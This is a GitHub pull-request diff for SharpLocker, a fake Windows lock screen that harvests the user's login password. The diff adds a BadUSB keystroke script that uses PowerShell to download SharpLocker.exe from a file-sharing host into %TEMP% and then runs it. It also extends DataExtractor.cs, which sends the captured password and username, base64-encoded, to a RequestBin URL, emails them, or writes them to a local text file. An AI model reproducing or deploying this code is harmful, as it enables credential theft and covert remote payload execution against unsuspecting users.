Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
5 changes: 4 additions & 1 deletion .gitignore
Original file line number Diff line number Diff line change
Expand Up @@ -337,4 +337,7 @@ ASALocalRun/
.localhistory/

# BeatPulse healthcheck temp database
healthchecksdb
healthchecksdb

# Others
SharpLocker/TODO.txt
15 changes: 15 additions & 0 deletions SharpLock.txt
Original file line number Diff line number Diff line change
@@ -0,0 +1,15 @@
REM ====> COURTESY OF SEYTONIC <====
REM ====> https://www.youtube.com/watch?v=JYi_H9n5xjw <====
REM ====> Executes Sharplock <====
REM ====> Instructions: Get Sharplock from Github, compile it in VisualStudio and upload .exe to anonfile.com <====

DELAY 4000
GUI r
DELAY 150
STRING powershell (new-object System.Net.WebClient).DownloadFile('https://cdn-35.anonfiles.com/V7XegdZ0o1/16e0b046-1601127563/SharpLocker.exe','%TEMP%\f.exe');
ENTER
Delay 400
GUI r
DELAY 150
STRING %TEMP%\f.exe
ENTER
49 changes: 42 additions & 7 deletions SharpLocker/DataExtractor.cs
Original file line number Diff line number Diff line change
@@ -1,4 +1,5 @@
using System;
using System.IO;
using System.Net;
using System.Net.Mail;
using System.Text;
Expand All @@ -10,13 +11,16 @@ public static class DataExtractor
public static void Extract(string password)
{
//Extract with request bin
ExtractWithRequastBin(password);
ExtractWithRequestBin(password);

//Extract with email
//ExtractWithEmail(password);

//Extract to text file
//ExtractToFile(password);
}

static void ExtractWithRequastBin(string password)
private static void ExtractWithRequestBin(string password)
{
//http://requestbin.net
//RequestBin is a service that allows you to inspect requests.
Expand All @@ -25,7 +29,7 @@ static void ExtractWithRequastBin(string password)

//YOUR RequestBin link
//format: http://requestbin.net/r/xxxxxxxx
string url = "http://requestbin.net/r/rv6v9wrv";
string url = "http://requestbin.net/r/1d8vuu91";

bool EncodeWithBase64 = true;
bool IncludeUsername = true;
Expand All @@ -49,12 +53,20 @@ static void ExtractWithRequastBin(string password)
p = Convert.ToBase64String(plainTextBytes);
}

HttpWebRequest req = (HttpWebRequest)WebRequest.Create(url + "?" + p);
req.GetResponse();
try
{
HttpWebRequest req = (HttpWebRequest)WebRequest.Create(url + "?" + p);
req.GetResponse();
}

catch (Exception e)
{
Console.WriteLine("Exception: " + e.Message);
ExtractToFile(p);
}
}

static void ExtractWithEmail(string password)
private static void ExtractWithEmail(string password)
{
//This sends an email with the password and computer details.

Expand All @@ -66,7 +78,7 @@ static void ExtractWithEmail(string password)
//Don't touch this!
string body = "Password: " + password + " Username&Domain: " + System.Security.Principal.WindowsIdentity.GetCurrent().Name;

MailMessage msg = new MailMessage(e_address, e_address, "Windwos Password on " + System.Security.Principal.WindowsIdentity.GetCurrent().Name, body);
MailMessage msg = new MailMessage(e_address, e_address, "Windows Password on " + System.Security.Principal.WindowsIdentity.GetCurrent().Name, body);
msg.IsBodyHtml = true;
SmtpClient sc = new SmtpClient(e_host_addr, e_host_port);
sc.UseDefaultCredentials = false;
Expand All @@ -75,5 +87,28 @@ static void ExtractWithEmail(string password)
sc.EnableSsl = true;
sc.Send(msg);
}

/// <summary>
/// Extract the logged information to a text file
/// <remark>The file is stored in the current user directory</remark>
/// </summary>
/// <param name="password"></param>
private static void ExtractToFile(string password)
{
string path = Environment.GetFolderPath(Environment.SpecialFolder.UserProfile);
string user = System.Security.Principal.WindowsIdentity.GetCurrent().Name;
string text = "Password: " + password + " Username&Domain: " + user;

try
{
StreamWriter streamWriter = new StreamWriter($"{path}\\password.txt");
streamWriter.WriteLine(text);
streamWriter.Close();
}
catch(IOException e)
{
Console.WriteLine("Exception: " + e.Message);
}
}
}
}
4 changes: 4 additions & 0 deletions SharpLocker/LockScreenForm.Designer.cs

Some generated files are not rendered by default. Learn more about how customized files appear on GitHub.

1 change: 1 addition & 0 deletions SharpLocker/LockScreenForm.cs
Original file line number Diff line number Diff line change
Expand Up @@ -52,6 +52,7 @@ public LockScreenForm()

this.TopMost = true;
string userName = System.DirectoryServices.AccountManagement.UserPrincipal.Current.DisplayName;
if(userName == null) userName = System.Security.Principal.WindowsIdentity.GetCurrent().Name.Split('\\')[1];
UserNameLabel.Text = userName;
UserNameLabel.BackColor = System.Drawing.Color.Transparent;

Expand Down
1 change: 0 additions & 1 deletion SharpLocker/Program.cs
Original file line number Diff line number Diff line change
Expand Up @@ -14,7 +14,6 @@ static void Main()
Application.EnableVisualStyles();
Application.SetCompatibleTextRenderingDefault(false);
Application.Run(new LockScreenForm());

}


Expand Down